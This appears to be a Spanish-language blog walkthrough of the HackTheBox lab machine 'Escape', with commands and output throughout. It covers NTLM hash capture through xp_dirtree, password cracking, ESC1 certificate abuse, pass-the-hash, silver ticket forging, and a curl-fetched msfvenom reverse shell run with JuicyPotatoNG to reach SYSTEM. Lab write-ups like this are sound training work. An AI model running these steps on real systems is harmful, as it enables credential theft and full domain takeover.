xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Escape



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, en Windows es recomendable usar el parametro -Pn para forzar el escaneo aunque no reciba respuesta de los paquetes ping

❯ nmap 10.10.11.202 -Pn
Nmap scan report for 10.10.11.202  
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49713/tcp open  unknown
49718/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es sequel.htb ademas del nombre que parece es el propio DC

❯ crackmapexec smb 10.10.11.202
SMB         10.10.11.202     445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio

❯ echo "10.10.11.202 sequel.htb dc.sequel.htb" | sudo tee -a /etc/hosts  

Al listar los recursos compartidos a nivel de SMB publicos como el usuario null sin proporcionar contraseña podemos ver privilegios de lectura en el recurso Public

❯ crackmapexec smb sequel.htb -u null -p '' --shares
SMB         sequel.htb      445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB         sequel.htb      445    DC               [+] sequel.htb\null: 
SMB         sequel.htb      445    DC               [+] Enumerated shares
SMB         sequel.htb      445    DC               Share           Permissions     Remark
SMB         sequel.htb      445    DC               -----           -----------     ------
SMB         sequel.htb      445    DC               ADMIN$                          Remote Admin
SMB         sequel.htb      445    DC               C$                              Default share
SMB         sequel.htb      445    DC               IPC$            READ            Remote IPC
SMB         sequel.htb      445    DC               NETLOGON                        Logon server share 
SMB         sequel.htb      445    DC               Public          READ            
SMB         sequel.htb      445    DC               SYSVOL                          Logon server share

Al conectarnos con smbclient al recurso Public solo vemos un pdf, lo descargamos

❯ impacket-smbclient sequel.htb/null@dc.sequel.htb -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Public
# ls
drw-rw-rw-          0  Sat Nov 19 06:51:25 2022 .
drw-rw-rw-          0  Sat Nov 19 06:51:25 2022 ..
-rw-rw-rw-      49551  Sat Nov 19 06:51:25 2022 SQL Server Procedures.pdf  
# get SQL Server Procedures.pdf
#


Shell - sql_svc


El pdf contiene un poco de información sobre mssql, casi al final de este se proporcionan credenciales para que los usuarios nuevos se conecten a la db

Al conectarnos con mssqlclient con estas credenciales parece que son validas

❯ impacket-mssqlclient sequel.htb/PublicUser:GuestUserCantWrite1@dc.sequel.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

Una de las cosas a probar es xp_dirtree asi que de antes creamos un servidor SMB

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Ejecutamos xp_dirtree hacia nuestro host indicando el servidor SMB que hemos creado antes y funciona, parece que tenemos los privilegios de usarlo

SQL> xp_dirtree '\\10.10.14.10\kali\'  

subdirectory   depth
------------   -----

SQL>

Al conectarse la maquina a nuestro servidor realizó una autenticación la cual se refleja en de nuestro lado como un hash NTLMv2 en este caso del usuario sql_svc

❯ impacket-smbserver kali . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.202,61174)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:1d5be3b38c777fb9817e5ba684ed1e4c:010100000000000080944ad6c89ed90168a70640246b85620000000001001000590072004300580052006f005400630003001000590072004300580052006f005400630002001000720057007a0061004500780076007a0004001000720057007a0061004500780076007a000700080080944ad6c89ed9010600040002000000080030003000000000000000000000000030000024ab22733f49f78de902bb3acb19c36701d90d7e0c2f8e64d16a083ef9cde3740a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100350035000000000000000000  
[*] Closing down connection (10.10.11.202,61174)
[*] Remaining connections []

Guardamos el hash en un archivo y al pasarselo a john este logra crackearlo por fuerza bruta y nos muestra la contraseña del usuario sql_svc en texto plano

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGIE1234ronnie (sql_svc)
Use the "--show" options to display all of the cracked passwords reliably  
Session completed.

Comprobamos la contraseña del usuario sql_svc con crackmapexec, este nos devuelve que la contraseña es valida tanto para SMB asi como para winrm

❯ crackmapexec smb sequel.htb -u sql_svc -p REGGIE1234ronnie
SMB         sequel.htb      445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB         sequel.htb      445    DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie 

❯ crackmapexec winrm sequel.htb -u sql_svc -p REGGIE1234ronnie
SMB         sequel.htb      5985   DC               [*] Windows 10.0 Build 17763 (name:DC) (domain:sequel.htb)
HTTP        sequel.htb      5985   DC               [*] http://sequel.htb:5985/wsman
WINRM       sequel.htb      5985   DC               [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)

Simplemente nos conectamos con evil-winrm y conseguimos una powershell

❯ evil-winrm -i sequel.htb -u sql_svc -p REGGIE1234ronnie  
PS C:\Users\sql_svc\Documents> whoami
sequel\sql_svc
PS C:\Users\sql_svc\Documents>


Shell - Ryan.Cooper


En el directorio C:\ vemos un directorio llamado SQLServer y dentro de este un directorio Logs el cual solo contiene un backup de logs llamado ERRORLOG.BAK

PS C:\> dir

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/1/2023   8:15 PM                PerfLogs
d-r---         2/6/2023  12:08 PM                Program Files
d-----       11/19/2022   3:51 AM                Program Files (x86)  
d-----       11/19/2022   3:51 AM                Public
d-----         2/1/2023   1:02 PM                SQLServer
d-r---         2/1/2023   1:55 PM                Users
d-----         2/6/2023   7:21 AM                Windows

PS C:\> cd SQLServer
PS C:\SQLServer> dir

    Directory: C:\SQLServer

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/7/2023   8:06 AM                Logs
d-----       11/18/2022   1:37 PM                SQLEXPR_2019
-a----       11/18/2022   1:35 PM        6379936 sqlexpress.exe
-a----       11/18/2022   1:36 PM      268090448 SQLEXPR_x64_ENU.exe  

PS C:\SQLServer> cd Logs
PS C:\SQLServer\Logs> dir

    Directory: C:\SQLServer\Logs
1
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         2/7/2023   8:06 AM          27608 ERRORLOG.BAK

PS C:\SQLServer\Logs>

En este backup buscamos lineas que contengan la cadena password, y se nos muestra una autenticacion fallida como el usuario Ryan.Cooper y su contraseña

PS C:\SQLServer\Logs> Select-String "password" ERRORLOG.BAK

ERRORLOG.BAK:70:2022-11-18 13:43:06.75 spid18s     Password policy update was successful.
ERRORLOG.BAK:112:2022-11-18 13:43:07.44 Logon       Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]  
ERRORLOG.BAK:114:2022-11-18 13:43:07.48 Logon       Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]

PS C:\SQLServer\Logs>

Comprobamos la contraseña de Ryan.Cooper nuevamente con crackmapexec y es valida, de nuevo acepta las credenciales tanto a nivel de SMB como de winrm

❯ crackmapexec smb sequel.htb -u Ryan.Cooper -p NuclearMosquito3
SMB         sequel.htb      445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB         sequel.htb      445    DC               [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 

❯ crackmapexec winrm sequel.htb -u Ryan.Cooper -p NuclearMosquito3
SMB         sequel.htb      5985   DC               [*] Windows 10.0 Build 17763 (name:DC) (domain:sequel.htb)
HTTP        sequel.htb      5985   DC               [*] http://sequel.htb:5985/wsman
WINRM       sequel.htb      5985   DC               [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)

Nos conectamos con evil-winrm y conseguimos una shell, podemos leer la flag

❯ evil-winrm -i sequel.htb -u Ryan.Cooper -p NuclearMosquito3  
PS C:\Users\Ryan.Cooper\Documents> whoami
sequel\ryan.cooper
PS C:\Users\Ryan.Cooper\Documents> type ..\Desktop\user.txt
802**************************aa6
PS C:\Users\Ryan.Cooper\Documents>


Shell - Administrator


Para enumerar un poco el sistema usaremos winpeas, podemos subirlo facilmente usando la función upload incluida en la herramienta evil-winrm

PS C:\Users\Ryan.Cooper\Documents> upload winpeas.exe

Info: Uploading winpeas.exe to C:\Users\Ryan.Cooper\Documents\winpeas.exe  

Data: 2581844 bytes of 2581844 bytes copied

Info: Upload successful!

PS C:\Users\Ryan.Cooper\Documents>

Casi al final winpeas nos muestra que existen varios certificados en la maquina

╔══════════╣ Enumerating machine and user certificate files

  Issuer             : CN=sequel-DC-CA, DC=sequel, DC=htb
  Subject            :
  ValidDate          : 11/18/2022 1:05:34 PM
  ExpiryDate         : 11/18/2023 1:05:34 PM
  HasPrivateKey      : True
  StoreLocation      : LocalMachine
  KeyExportable      : True
  Thumbprint         : B3954D2D39DCEF1A673D6AEB9DE9116891CE57B2

  Template           : Template=Kerberos Authentication(1.3.6.1.4.1.311.21.8.15399414.11998038.16730805.7332313.6448437.247.1.33), Major Version Number=110, Minor Version Number=0  
  Enhanced Key Usages
       Client Authentication     [*] Certificate is used for client authentication!
       Server Authentication
       Smart Card Logon
       KDC Authentication
   =================================================================================================

  Issuer             : CN=sequel-DC-CA, DC=sequel, DC=htb
  Subject            : CN=sequel-DC-CA, DC=sequel, DC=htb
  ValidDate          : 11/18/2022 12:58:46 PM
  ExpiryDate         : 11/18/2121 1:08:46 PM
  HasPrivateKey      : True
  StoreLocation      : LocalMachine
  KeyExportable      : True
  Thumbprint         : A263EA89CAFE503BB33513E359747FD262F91A56

   =================================================================================================

  Issuer             : CN=sequel-DC-CA, DC=sequel, DC=htb
  Subject            : CN=dc.sequel.htb
  ValidDate          : 11/18/2022 1:20:35 PM
  ExpiryDate         : 11/18/2023 1:20:35 PM
  HasPrivateKey      : True
  StoreLocation      : LocalMachine
  KeyExportable      : True
  Thumbprint         : 742AB4522191331767395039DB9B3B2E27B6F7FA

  Template           : DomainController
  Enhanced Key Usages
       Client Authentication     [*] Certificate is used for client authentication!
       Server Authentication
   =================================================================================================

Haremos uso de certipy para buscar certificados vulnerables proporcionando las credenciales de Ryan.Cooper y el parametro -stdout para ver el output de primeras

❯ certipy find -vulnerable -target sequel.htb -u Ryan.Cooper -p NuclearMosquito3 -stdout
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.  
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : sequel-DC-CA
    DNS Name                            : dc.sequel.htb
    Certificate Subject                 : CN=sequel-DC-CA, DC=sequel, DC=htb
    Certificate Serial Number           : 1EF2FA9A7E6EADAD4F5382F4CE283101
    Certificate Validity Start          : 2022-11-18 20:58:46+00:00
    Certificate Validity End            : 2121-11-18 21:08:46+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : SEQUEL.HTB\Administrators
      Access Rights
        ManageCa                        : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        ManageCertificates              : SEQUEL.HTB\Administrators
                                          SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
        Enroll                          : SEQUEL.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Domain Users
                                          SEQUEL.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : SEQUEL.HTB\Administrator
        Write Owner Principals          : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Dacl Principals           : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
        Write Property Principals       : SEQUEL.HTB\Domain Admins
                                          SEQUEL.HTB\Enterprise Admins
                                          SEQUEL.HTB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Parece que el Template UserAuthentication con el CA sequel-DC-CA es vulnerable a ESC1, podemos hacer una peticion usando el upn del usuario Administrator

❯ certipy req -target sequel.htb -u Ryan.Cooper -p NuclearMosquito3 -ca sequel-DC-CA -template UserAuthentication -upn Administrator@sequel.htb  
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 11
[*] Got certificate with UPN 'Administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Esto nos crea un certificado de Administrator, ya que nos autenticaremos con el pfx con certipy por kerberos es necesario sincronizar la hora con la del dominio

❯ sudo ntpdate -s sequel.htb  

Ahora usamos el modo auth de certipy indicando el pfx, este ademas de solicitar un TGT como .ccache nos muestra el hash NTLM del usuario Administrator

❯ certipy auth -pfx administrator.pfx 
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee  

Una forma de autenticarnos es usar el ticket ccache que certipy nos ha creado como autenticacion con crackmapexec, al ser de Administrator nos devuelve Pwn3d!

❯ export KRB5CCNAME=administrator.ccache

❯ crackmapexec smb sequel.htb -k --use-kcache
SMB         sequel.htb      445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB         sequel.htb      445    DC               [+] sequel.htb\ from ccache (Pwn3d!)

Sin embargo es innecesario ya que se nos muestra el hash NT que podemos usar como autenticacion, crackmapexec nuevamente nos devuelve un Pwn3d!

❯ crackmapexec smb sequel.htb -u Administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee
SMB         sequel.htb      445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)  
SMB         sequel.htb      445    DC               [+] sequel.htb\Administrator:a52f78e4c751e5f5e17e1e9f3e58f4ee (Pwn3d!)

Podemos simplemente conectarnos con evil-winrm usando el hash NT para un passthehash y conseguir una powershell, ahora podemos leer la ultima flag

❯ evil-winrm -i sequel.htb -u Administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee  
PS C:\Users\Administrator\Documents> whoami
sequel\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
9c1**************************d44
PS C:\Users\Administrator\Documents>


Extra - Administrator


Una alternativa ya que el usuario sql_svc se puede conectar a mssql es mediante un silver ticket suplantar al usuario Administrator, para ello necesitamos algunas cosas, iniciaremos por convertir nuestra contraseña en texto claro por un hash NT

❯ echo -n REGGIE1234ronnie | iconv -t utf16le | openssl md4  
MD4(stdin)= 1443ec19da4dac4ffc953bca1b57b4cf

Ademas necesitamos el SID del dominio, este podemos conseguirlo con getPac

❯ impacket-getPac sequel.htb/sql_svc:REGGIE1234ronnie -targetUser sql_svc | grep SID  
Domain SID: S-1-5-21-4078382237-1492182817-2568127209

Con esto haciendo uso de ticketer podemos solicitar un ticket bajo el spn krbtgt/dc.sequel.htb suplantando a Administrator en la autenticación a mssql

❯ impacket-ticketer -nthash 1443ec19da4dac4ffc953bca1b57b4cf -domain-sid S-1-5-21-4078382237-1492182817-2568127209 -domain sequel.htb -dc-ip dc.sequel.htb -spn krbtgt/dc.sequel.htb Administrator  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sequel.htb/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncTGSRepPart
[*] Saving ticket in Administrator.ccache

❯ export KRB5CCNAME=Administrator.ccache

Utilizando el ticket como autenticación podemos conectarnos con mssqlclient

❯ impacket-mssqlclient dc.sequel.htb -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.  
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

Al estar bajo el contexto de Administrator podemos leer archivos usando la funcion bulkcolumn, en este caso podemos apuntar a el archivo root.txt y ver la flag final

SQL> select bulkcolumn from openrowset(bulk 'C:\Users\Administrator\Desktop\root.txt', single_clob) flag  

bulkcolumn
---------------------------------------
b'9c1**************************d44\r\n'

SQL>

Otra cosa que podemos hacer es habilitar el modulo xp_cmdshell y ejecutar comandos, los ejecutamos como el usuario sql_svc que no parece ser importante

SQL> enable_xp_cmdshell
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.  
[*] INFO(DC\SQLMOCK): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL> xp_cmdshell whoami

output
--------------
sequel\sql_svc

SQL>

Sin embargo sql_svc en el contexto de cuenta de servicio en mssql tiene otros privilegios diferentes a cuando nos conectamos por winrm, nos encontramos con SeImpersonatePrivilege que nos permite suplantar a otros usuarios

SQL> xp_cmdshell whoami /priv

output
--------------------------------------------------------------------------  

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========  

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SQL>

Iniciamos por crear un archivo exe con msfvenom para que al ejecutarlo nos envie una powershell a nuestro host, e iniciamos un servidor http haciendo uso de python

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1867 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde xp_cmdshell ademas de descargar el exe malicioso descargaremos JuicyPotatoNG.exe en C:\ProgramData que nos servira para explotar el privilegio

SQL> xp_cmdshell curl 10.10.14.10/JuicyPotatoNG.exe -o C:\ProgramData\JuicyPotatoNG.exe  

output
--------------------------------------------------------------------------  

SQL> xp_cmdshell curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe

output
--------------------------------------------------------------------------

SQL>

Ahora haciendo uso de JuicyPotatoNG.exe explotamos el privilegio suplantando al usuario nt authority\system y ejecutaremos el programa shell.exe que subimos

SQL> xp_cmdshell C:\ProgramData\JuicyPotatoNG.exe -t * -p C:\ProgramData\shell.exe

output
--------------------------------------------------------------------------  

	 JuicyPotatoNG
	 by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation  
[+] CreateProcessAsUser OK
[+] Exploit successful!

SQL>

Como resultado recibimos la powershell como nt authority\system que es el usuario con maximos privilegios sobre el equipo, podemos simplemente leer la flag

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.202
Windows PowerShell running as user DC$ on DC
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\> whoami
nt authority\system
PS C:\> type C:\Users\Administrator\Desktop\root.txt  
9c1**************************d44
PS C:\>